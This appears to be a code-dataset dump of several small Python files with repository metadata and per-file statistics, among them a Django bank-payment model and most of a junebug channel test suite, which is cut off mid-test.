| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b9f599563bea1f46bb7c67209476021b9ef4c064
| 68
|
py
|
Python
|
Python/070-Input().py
|
sadikkuzu/HackerRank
|
2b1ed2cf41f6a5404c5b9293186f301b646b5d33
|
[
"Apache-2.0"
] | 5
|
2019-03-09T22:44:01.000Z
|
2021-09-14T00:11:38.000Z
|
Python/070-Input().py
|
jguerra7/HackerRank-4
|
7e1663d0050ffbb0fd885b8affdada9ea13b0e80
|
[
"Apache-2.0"
] | 4
|
2018-08-16T09:39:47.000Z
|
2018-09-14T17:37:07.000Z
|
Python/070-Input().py
|
jguerra7/HackerRank-4
|
7e1663d0050ffbb0fd885b8affdada9ea13b0e80
|
[
"Apache-2.0"
] | 1
|
2020-06-01T23:38:35.000Z
|
2020-06-01T23:38:35.000Z
|
[x, y] = [int(c) for c in raw_input().split(' ')]
print y == input()
| 34
| 49
| 0.544118
| 13
| 68
| 2.769231
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 68
| 2
| 50
| 34
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0.014493
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
6a0a35188228d64c18756957bbc5e54e2936a904
| 63
|
py
|
Python
|
custom_components/yandexcloudtts/__init__.py
|
Forne/ha-yandexcloudtts
|
6099b4b0cfb71f5ca683a10ac0a408544384326d
|
[
"MIT"
] | 1
|
2021-09-11T18:54:21.000Z
|
2021-09-11T18:54:21.000Z
|
custom_components/yandexcloudtts/__init__.py
|
Forne/ha-yandexcloudtts
|
6099b4b0cfb71f5ca683a10ac0a408544384326d
|
[
"MIT"
] | null | null | null |
custom_components/yandexcloudtts/__init__.py
|
Forne/ha-yandexcloudtts
|
6099b4b0cfb71f5ca683a10ac0a408544384326d
|
[
"MIT"
] | 1
|
2021-09-11T18:54:25.000Z
|
2021-09-11T18:54:25.000Z
|
"""Support for the Yandex.Cloud SpeechKit TTS integration."""
| 31.5
| 62
| 0.746032
| 8
| 63
| 5.875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126984
| 63
| 1
| 63
| 63
| 0.854545
| 0.888889
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6a20bfc2859480c9c25daf96264b92a95ac259ae
| 30
|
py
|
Python
|
nova/managers/__init__.py
|
emileKing/nova-bot
|
363e69b5830a44be5c51bc1ccb646657cefc43b8
|
[
"MIT"
] | 1
|
2021-11-26T13:55:51.000Z
|
2021-11-26T13:55:51.000Z
|
nova/managers/__init__.py
|
emileKing/nova-bot
|
363e69b5830a44be5c51bc1ccb646657cefc43b8
|
[
"MIT"
] | 1
|
2020-03-31T13:12:31.000Z
|
2020-03-31T13:12:31.000Z
|
nova/managers/__init__.py
|
emileKing/nova-bot
|
363e69b5830a44be5c51bc1ccb646657cefc43b8
|
[
"MIT"
] | 1
|
2020-04-30T19:11:21.000Z
|
2020-04-30T19:11:21.000Z
|
"""Package of Nova managers"""
| 30
| 30
| 0.7
| 4
| 30
| 5.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 30
| 1
| 30
| 30
| 0.777778
| 0.8
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6a255ab888fd1e4b843946bf3b3a126420282452
| 2,124
|
py
|
Python
|
demirbank/models.py
|
CyberLight/django-demirbank
|
5e7b05becaf5bfdbcbb21ea83c5ef76f486c85d1
|
[
"MIT"
] | 4
|
2016-03-09T07:07:47.000Z
|
2017-12-05T08:00:34.000Z
|
demirbank/models.py
|
CyberLight/django-demirbank
|
5e7b05becaf5bfdbcbb21ea83c5ef76f486c85d1
|
[
"MIT"
] | null | null | null |
demirbank/models.py
|
CyberLight/django-demirbank
|
5e7b05becaf5bfdbcbb21ea83c5ef76f486c85d1
|
[
"MIT"
] | 5
|
2016-06-29T11:05:50.000Z
|
2022-01-14T11:30:03.000Z
|
# -*- coding: utf-8 -*-
from django.db import models
class DemirBankPayment(models.Model):
account = models.CharField(max_length=255)
added = models.BooleanField(default=False)
processed_payment = models.BooleanField(default=False)
created_on = models.DateTimeField(auto_now_add=True, editable=False)
auth_code = models.CharField(max_length=12, default='')
extra_cardbrand = models.CharField(max_length=128, default='')
extra_trxdate = models.DateTimeField(null=True)
err_msg = models.CharField(max_length=255, default='')
hash = models.CharField(max_length=255, default='')
hash_params = models.CharField(max_length=255, default='')
hash_params_val = models.CharField(max_length=255, default='')
host_ref_num = models.CharField(max_length=50, default='')
masked_pan = models.CharField(max_length=50, default='')
pa_res_syntax_ok = models.BooleanField(default=False)
pa_res_verified = models.BooleanField(default=False)
proc_return_code = models.CharField(max_length=2, default='')
response = models.CharField(max_length=50, default='')
return_oid = models.CharField(max_length=64, default='')
trans_id = models.CharField(max_length=64, default='')
amount = models.DecimalField(decimal_places=2, max_digits=7, default=0)
cavv = models.CharField(max_length=28, default='')
client_id = models.CharField(max_length=15, default='')
currency = models.PositiveSmallIntegerField(default=0)
eci = models.CharField(max_length=2, default='')
md = models.CharField(max_length=512, default='')
rnd = models.CharField(max_length=50, default='')
md_error_msg = models.CharField(max_length=512, default='')
md_status = models.PositiveSmallIntegerField(default=0)
merchant_id = models.CharField(max_length=50, default='')
oid = models.CharField(max_length=64, default='', unique=True)
storetype = models.CharField(max_length=255, default='')
txstatus = models.CharField(max_length=15, default='')
client_ip = models.GenericIPAddressField(null=True)
demirbank_card = models.BooleanField(default=False)
| 51.804878
| 75
| 0.737288
| 267
| 2,124
| 5.659176
| 0.333333
| 0.228326
| 0.273991
| 0.365321
| 0.485109
| 0.43812
| 0.131039
| 0.05824
| 0
| 0
| 0
| 0.031961
| 0.130885
| 2,124
| 40
| 76
| 53.1
| 0.786566
| 0.009887
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027778
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
6a365383f0c393b160f042b76cec30a29beae61d
| 250
|
py
|
Python
|
guet/context/set_committer_observer.py
|
sturzl/guet
|
b8c453f07968b689b303e20e7a31b405c02c54ef
|
[
"Apache-2.0"
] | null | null | null |
guet/context/set_committer_observer.py
|
sturzl/guet
|
b8c453f07968b689b303e20e7a31b405c02c54ef
|
[
"Apache-2.0"
] | null | null | null |
guet/context/set_committer_observer.py
|
sturzl/guet
|
b8c453f07968b689b303e20e7a31b405c02c54ef
|
[
"Apache-2.0"
] | null | null | null |
from typing import List
from guet.committers.committer import Committer
class SetCommitterObserver:
def __init__(self):
pass
def notify_of_committer_set(self, new_committers: List[Committer]):
raise NotImplementedError()
| 19.230769
| 71
| 0.748
| 28
| 250
| 6.392857
| 0.678571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.192
| 250
| 12
| 72
| 20.833333
| 0.886139
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0.142857
| 0.285714
| 0
| 0.714286
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
6a39c633abec52d8252c5b2cec2a2c495cf91856
| 102
|
py
|
Python
|
ex7-1.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
ex7-1.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
ex7-1.py
|
yiyidhuang/PythonCrashCrouse2nd
|
3512f9ab8fcf32c6145604a37e2a62feddf174d1
|
[
"MIT"
] | null | null | null |
car = input("What brand of car do you want to rent: ")
print(f"Let me see if I can find you a {car}")
| 34
| 54
| 0.666667
| 23
| 102
| 2.956522
| 0.869565
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.215686
| 102
| 2
| 55
| 51
| 0.85
| 0
| 0
| 0
| 0
| 0
| 0.735294
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
6a3b6d528f523109ee0d0a8359cfbaaec027cc51
| 911
|
py
|
Python
|
common/http_constants.py
|
BIBSYSDEV/resource-utilities
|
22bda384449ea74f954e41f92bb888ffddb187bc
|
[
"MIT-0"
] | null | null | null |
common/http_constants.py
|
BIBSYSDEV/resource-utilities
|
22bda384449ea74f954e41f92bb888ffddb187bc
|
[
"MIT-0"
] | null | null | null |
common/http_constants.py
|
BIBSYSDEV/resource-utilities
|
22bda384449ea74f954e41f92bb888ffddb187bc
|
[
"MIT-0"
] | null | null | null |
"""Constants for HTTP"""
class HttpConstants:
HTTP_METHOD_GET = 'GET'
HTTP_METHOD_POST = 'POST'
HTTP_METHOD_PUT = 'PUT'
HTTP_METHOD_OPTIONS = 'OPTIONS'
HTTP_HEADER_ACCESS_CONTROL_ALLOW_ORIGIN = 'Access-Control-Allow-Origin'
@staticmethod
def http_method_get():
"""Returns the HTTP method name GET"""
return 'GET'
@staticmethod
def http_method_post():
"""Returns the HTTP method name POST"""
return 'POST'
@staticmethod
def http_method_put():
"""Returns the HTTP method name PUT"""
return 'PUT'
@staticmethod
def http_method_options():
"""Returns the HTTP method name OPTIONS"""
return 'OPTIONS'
@staticmethod
def http_header_access_control_allow_origin():
"""Returns the string for CORS header Access-Control-Allow-Origin"""
return 'Access-Control-Allow-Origin'
| 24.621622
| 76
| 0.653128
| 106
| 911
| 5.367925
| 0.216981
| 0.210896
| 0.158172
| 0.210896
| 0.340949
| 0.119508
| 0
| 0
| 0
| 0
| 0
| 0
| 0.246981
| 911
| 36
| 77
| 25.305556
| 0.829446
| 0.239297
| 0
| 0.238095
| 0
| 0
| 0.132931
| 0.081571
| 0
| 0
| 0
| 0
| 0
| 1
| 0.238095
| false
| 0
| 0
| 0
| 0.761905
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
dbdf7c7a7d59c947528134b64d4323e6ff95310e
| 25
|
py
|
Python
|
data/studio21_generated/interview/1796/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1796/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1796/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def to_postfix (infix):
| 12.5
| 23
| 0.72
| 4
| 25
| 4.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16
| 25
| 2
| 24
| 12.5
| 0.809524
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
dbe5ead3f05e490a680020e2b03db4c9265882c5
| 82
|
py
|
Python
|
Strings/01ReversString.py
|
bozhikovstanislav/Python-Fundamentals
|
072fd2c8bc962d20d4c526947349fdeae0bc94a5
|
[
"MIT"
] | null | null | null |
Strings/01ReversString.py
|
bozhikovstanislav/Python-Fundamentals
|
072fd2c8bc962d20d4c526947349fdeae0bc94a5
|
[
"MIT"
] | null | null | null |
Strings/01ReversString.py
|
bozhikovstanislav/Python-Fundamentals
|
072fd2c8bc962d20d4c526947349fdeae0bc94a5
|
[
"MIT"
] | null | null | null |
string_to_revers = input()
for x in string_to_revers[::-1]:
print(x, end='')
| 16.4
| 32
| 0.646341
| 14
| 82
| 3.5
| 0.714286
| 0.326531
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014706
| 0.170732
| 82
| 4
| 33
| 20.5
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
e001a196df7405409d14770a5bb5634e87677ca7
| 104
|
py
|
Python
|
coverage_comment/comment_file.py
|
OptimeeringAS/python-coverage-comment-action
|
8ad51106c29cf72cea966495db6234974b611c3f
|
[
"MIT"
] | 2
|
2022-02-04T09:22:47.000Z
|
2022-03-13T21:34:17.000Z
|
coverage_comment/comment_file.py
|
OptimeeringAS/python-coverage-comment-action
|
8ad51106c29cf72cea966495db6234974b611c3f
|
[
"MIT"
] | 4
|
2022-01-30T21:46:43.000Z
|
2022-03-28T20:32:11.000Z
|
coverage_comment/comment_file.py
|
OptimeeringAS/python-coverage-comment-action
|
8ad51106c29cf72cea966495db6234974b611c3f
|
[
"MIT"
] | 1
|
2022-03-18T14:44:37.000Z
|
2022-03-18T14:44:37.000Z
|
import pathlib
def store_file(filename: pathlib.Path, content: str):
filename.write_text(content)
| 17.333333
| 53
| 0.769231
| 14
| 104
| 5.571429
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.134615
| 104
| 5
| 54
| 20.8
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
e011c7df9f7416492eb1c7eaa7d9401bff68a41d
| 32
|
py
|
Python
|
src/jira/__init__.py
|
rschuitema/sqa
|
4459029f3235c861dbf3083e0651f69621fb3bec
|
[
"MIT"
] | 3
|
2019-09-24T21:12:20.000Z
|
2019-09-30T14:20:17.000Z
|
src/jira/__init__.py
|
rschuitema/sqa
|
4459029f3235c861dbf3083e0651f69621fb3bec
|
[
"MIT"
] | 2
|
2022-02-09T16:26:31.000Z
|
2022-02-09T16:30:39.000Z
|
src/jira/__init__.py
|
rschuitema/sqa
|
4459029f3235c861dbf3083e0651f69621fb3bec
|
[
"MIT"
] | null | null | null |
"""Init of the Jira package."""
| 16
| 31
| 0.625
| 5
| 32
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 32
| 1
| 32
| 32
| 0.740741
| 0.78125
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
e025c122787886418ac1887ee1bddc900ce60f3d
| 239
|
py
|
Python
|
pydebitoor/services/__init__.py
|
idlead/pydebitoor
|
cb731b9fc96f7896657643d4e54da0745ef641fd
|
[
"MIT"
] | 1
|
2016-04-18T12:06:08.000Z
|
2016-04-18T12:06:08.000Z
|
pydebitoor/services/__init__.py
|
idlead/pydebitoor
|
cb731b9fc96f7896657643d4e54da0745ef641fd
|
[
"MIT"
] | null | null | null |
pydebitoor/services/__init__.py
|
idlead/pydebitoor
|
cb731b9fc96f7896657643d4e54da0745ef641fd
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from .customer import CustomerService
from .invoice import InvoiceService
from .draft import DraftService
from .tax import TaxService
__all__ = ['CustomerService', 'DraftService', 'InvoiceService', 'TaxService']
| 23.9
| 77
| 0.761506
| 24
| 239
| 7.416667
| 0.583333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004785
| 0.125523
| 239
| 9
| 78
| 26.555556
| 0.84689
| 0.087866
| 0
| 0
| 0
| 0
| 0.236111
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
e0323aebdb6d87003b47f7e479fce26cc42a4d6a
| 34,465
|
py
|
Python
|
junebug/tests/test_channel.py
|
jaynandu/junebug
|
fb57e7a951b5086c1305dcc4264d30c0b58a4351
|
[
"BSD-3-Clause"
] | 52
|
2019-01-06T18:12:04.000Z
|
2022-03-23T09:40:44.000Z
|
junebug/tests/test_channel.py
|
jaynandu/junebug
|
fb57e7a951b5086c1305dcc4264d30c0b58a4351
|
[
"BSD-3-Clause"
] | 139
|
2015-06-12T14:57:09.000Z
|
2018-05-14T07:41:16.000Z
|
junebug/tests/test_channel.py
|
jaynandu/junebug
|
fb57e7a951b5086c1305dcc4264d30c0b58a4351
|
[
"BSD-3-Clause"
] | 14
|
2015-10-21T15:12:29.000Z
|
2018-06-22T18:40:30.000Z
|
import logging
import json
from twisted.internet.defer import inlineCallbacks
from vumi.message import TransportUserMessage, TransportStatus
from vumi.transports.telnet import TelnetServerTransport
from junebug.utils import api_from_message, api_from_status, conjoin
from junebug.workers import ChannelStatusWorker, MessageForwardingWorker
from junebug.channel import (
Channel, ChannelNotFound, InvalidChannelType, MessageNotFound)
from junebug.logging_service import JunebugLoggerService
from junebug.tests.helpers import JunebugTestBase, FakeJunebugPlugin
class TestChannel(JunebugTestBase):
@inlineCallbacks
def setUp(self):
self.patch_logger()
yield self.start_server()
@inlineCallbacks
def test_save_channel(self):
properties = self.create_channel_properties()
channel = yield self.create_channel(
self.service, self.redis)
props = yield self.redis.get('%s:properties' % channel.id)
self.assertEqual(json.loads(props), conjoin(properties, {
'config': conjoin(
properties['config'], {'transport_name': channel.id})
}))
channel_list = yield self.redis.get('channels')
self.assertEqual(channel_list, set([channel.id]))
@inlineCallbacks
def test_delete_channel(self):
properties = self.create_channel_properties()
channel = yield self.create_channel(
self.service, self.redis)
props = yield self.redis.get('%s:properties' % channel.id)
self.assertEqual(json.loads(props), conjoin(properties, {
'config': conjoin(
properties['config'], {'transport_name': channel.id})
}))
channel_list = yield self.redis.get('channels')
self.assertEqual(channel_list, set([channel.id]))
yield channel.delete()
properties = yield self.redis.get('%s:properties' % channel.id)
self.assertEqual(properties, None)
channel_list = yield self.redis.get('channels')
self.assertEqual(channel_list, set())
@inlineCallbacks
def test_start_channel_transport(self):
'''Starting the channel should start the transport, as well as the
logging service for that transport.'''
channel = yield self.create_channel(
self.service, self.redis)
worker = self.service.getServiceNamed(channel.id)
self.assertEqual(worker, channel.transport_worker)
self.assertTrue(isinstance(worker, TelnetServerTransport))
logging_worker = worker.getServiceNamed('Junebug Worker Logger')
self.assertTrue(
isinstance(logging_worker, channel.JUNEBUG_LOGGING_SERVICE_CLS))
@inlineCallbacks
def test_start_channel_logging(self):
'''When the channel is started, the logging worker should be started
along with it.'''
channel = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
self.assertTrue(isinstance(worker_logger, JunebugLoggerService))
@inlineCallbacks
def test_channel_logging_single_channel(self):
'''All logs from a single channel should go to the logging worker.'''
channel = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger = channel.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger.startService()
channel.transport_worker.test_log('Test message1')
channel.transport_worker.test_log('Test message2')
[log1, log2] = worker_logger.logfile.logs
self.assertEqual(json.loads(log1)['message'], 'Test message1')
self.assertEqual(json.loads(log2)['message'], 'Test message2')
@inlineCallbacks
def test_channel_logging_multiple_channels(self):
'''All logs from a single channel should go to the logging worker.'''
channel1 = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger1 = channel1.transport_worker.getServiceNamed(
'Junebug Worker Logger')
channel2 = yield self.create_channel(
self.service, self.redis,
'junebug.tests.helpers.LoggingTestTransport')
worker_logger2 = channel2.transport_worker.getServiceNamed(
'Junebug Worker Logger')
worker_logger1.startService()
worker_logger2.startService()
channel1.transport_worker.test_log('Test message1')
channel1.transport_worker.test_log('Test message2')
[log1, log2] = worker_logger1.logfile.logs
self.assertEqual(json.loads(log1)['message'], 'Test message1')
self.assertEqual(json.loads(log2)['message'], 'Test message2')
channel2.transport_worker.test_log('Test message3')
self.assertEqual(len(worker_logger1.logfile.logs), 2)
[log3] = worker_logger2.logfile.logs
self.assertEqual(json.loads(log3)['message'], 'Test message3')
@inlineCallbacks
def test_transport_class_name_default(self):
config = yield self.create_channel_config(channels={})
properties = self.create_channel_properties(type='telnet')
channel = Channel(self.redis, config, properties)
self.assertEqual(
channel._transport_cls_name,
'vumi.transports.telnet.TelnetServerTransport')
@inlineCallbacks
def test_transport_class_name_specified(self):
config = yield self.create_channel_config(channels={'foo': 'bar.baz'})
properties = self.create_channel_properties(type='foo')
channel = Channel(self.redis, config, properties)
self.assertEqual(
channel._transport_cls_name,
'bar.baz')
@inlineCallbacks
def test_transport_class_name_overridden(self):
config = yield self.create_channel_config(
channels={'foo': 'bar.baz'}, replace_channels=True)
properties = self.create_channel_properties(type='telnet')
channel = Channel(self.redis, config, properties)
err = self.assertRaises(
InvalidChannelType, getattr, channel, '_transport_cls_name')
self.assertTrue(all(cls in err.message for cls in ['telnet', 'foo']))
@inlineCallbacks
def test_start_channel_application(self):
properties = self.create_channel_properties(mo_url='http://foo.org')
channel = yield self.create_channel(
self.service, self.redis, properties=properties)
worker = channel.application_worker
id = channel.application_id
self.assertTrue(isinstance(worker, MessageForwardingWorker))
self.assertEqual(self.service.namedServices[id], worker)
self.assertEqual(worker.config, {
'transport_name': channel.id,
'mo_message_url': 'http://foo.org',
'mo_message_url_auth_token': None,
'message_queue': None,
'redis_manager': channel.config.redis,
'inbound_ttl': channel.config.inbound_message_ttl,
'outbound_ttl': channel.config.outbound_message_ttl,
'metric_window': channel.config.metric_window,
})
@inlineCallbacks
def test_start_channel_status_application(self):
properties = self.create_channel_properties()
channel = yield self.create_channel(
self.service, self.redis, properties=properties)
worker = channel.status_application_worker
id = channel.status_application_id
self.assertTrue(isinstance(worker, ChannelStatusWorker))
self.assertEqual(self.service.namedServices[id], worker)
self.assertEqual(worker.config, {
'redis_manager': channel.config.redis,
'channel_id': channel.id,
'status_url': None,
})
@inlineCallbacks
def test_start_channel_status_application_status_url(self):
properties = self.create_channel_properties(status_url='example.org')
channel = yield self.create_channel(
self.service, self.redis, properties=properties)
worker = channel.status_application_worker
self.assertEqual(worker.config['status_url'], 'example.org')
@inlineCallbacks
def test_channel_character_limit(self):
'''`character_limit` parameter should return the character limit, or
`None` if no character limit was specified'''
properties_limit = self.create_channel_properties(character_limit=100)
properties_no_limit = self.create_channel_properties()
channel_limit = yield self.create_channel(
self.service, self.redis, properties=properties_limit)
channel_no_limit = yield self.create_channel(
self.service, self.redis, properties=properties_no_limit)
self.assertEqual(channel_limit.character_limit, 100)
self.assertEqual(channel_no_limit.character_limit, None)
@inlineCallbacks
def test_create_channel_invalid_type(self):
channel = yield self.create_channel(
self.service, self.redis)
channel._properties['type'] = 'foo'
err = yield self.assertFailure(channel.start(None), InvalidChannelType)
self.assertTrue(all(
s in err.message for s in ('xmpp', 'telnet', 'foo')))
@inlineCallbacks
def test_start_channel_plugins_called(self):
'''Starting a channel should call `channel_started` on all plugins'''
plugin = FakeJunebugPlugin()
plugin.calls = []
channel = yield self.create_channel(
self.service, self.redis, plugins=[plugin])
[(name, [plugin_channel])] = plugin.calls
self.assertEqual(name, 'channel_started')
self.assertEqual(plugin_channel, channel)
@inlineCallbacks
def test_stop_channel_plugins_called(self):
'''Stopping a channel should call `channel_stopped` on all plugins'''
plugin = FakeJunebugPlugin()
plugin.calls = []
channel = yield self.create_channel(
self.service, self.redis, plugins=[plugin])
plugin.calls = []
yield channel.stop()
[(name, [plugin_channel])] = plugin.calls
self.assertEqual(name, 'channel_stopped')
self.assertEqual(plugin_channel, channel)
@inlineCallbacks
def test_update_channel_config(self):
properties = self.create_channel_properties()
channel = yield self.create_channel(
self.service, self.redis)
update = yield channel.update({'foo': 'bar'})
self.assertEqual(update, conjoin(properties, {
'foo': 'bar',
'status': self.generate_status(),
'id': channel.id,
'config': conjoin(properties['config'], {
'transport_name': channel.id
})
}))
@inlineCallbacks
def test_update_channel_restart_transport_on_config_change(self):
channel = yield self.create_channel(
self.service, self.redis)
worker1 = channel.transport_worker
self.assertEqual(self.service.namedServices[channel.id], worker1)
yield channel.update({'foo': 'bar'})
self.assertEqual(self.service.namedServices[channel.id], worker1)
properties = self.create_channel_properties()
properties['config']['foo'] = ['bar']
yield channel.update(properties)
worker2 = channel.transport_worker
self.assertEqual(self.service.namedServices[channel.id], worker2)
self.assertTrue(worker1 not in self.service.services)
@inlineCallbacks
def test_update_channel_restart_application_on_config_change(self):
channel = yield self.create_channel(
self.service, self.redis)
worker1 = channel.application_worker
id = channel.application_id
self.assertEqual(self.service.namedServices[id], worker1)
yield channel.update({'foo': 'bar'})
self.assertEqual(self.service.namedServices[id], worker1)
properties = self.create_channel_properties(mo_url='http://baz.org')
yield channel.update(properties)
worker2 = channel.application_worker
self.assertEqual(self.service.namedServices[id], worker2)
self.assertTrue(worker1 not in self.service.services)
@inlineCallbacks
def test_stop_channel(self):
channel = yield self.create_channel(
self.service, self.redis)
self.assertEqual(
self.service.namedServices[channel.id], channel.transport_worker)
yield channel.stop()
self.assertEqual(self.service.namedServices.get(channel.id), None)
application_id = channel.application_id
self.assertEqual(self.service.namedServices.get(application_id), None)
status_application_id = channel.status_application_id
self.assertEqual(
self.service.namedServices.get(status_application_id), None)
@inlineCallbacks
def test_create_channel_from_id(self):
channel1 = yield self.create_channel(
self.service, self.redis)
channel2 = yield self.create_channel_from_id(
self.redis, {}, channel1.id, self.service)
self.assertEqual((yield channel1.status()), (yield channel2.status()))
self.assertEqual(
channel1.transport_worker,
channel2.transport_worker)
self.assertEqual(
channel1.application_worker,
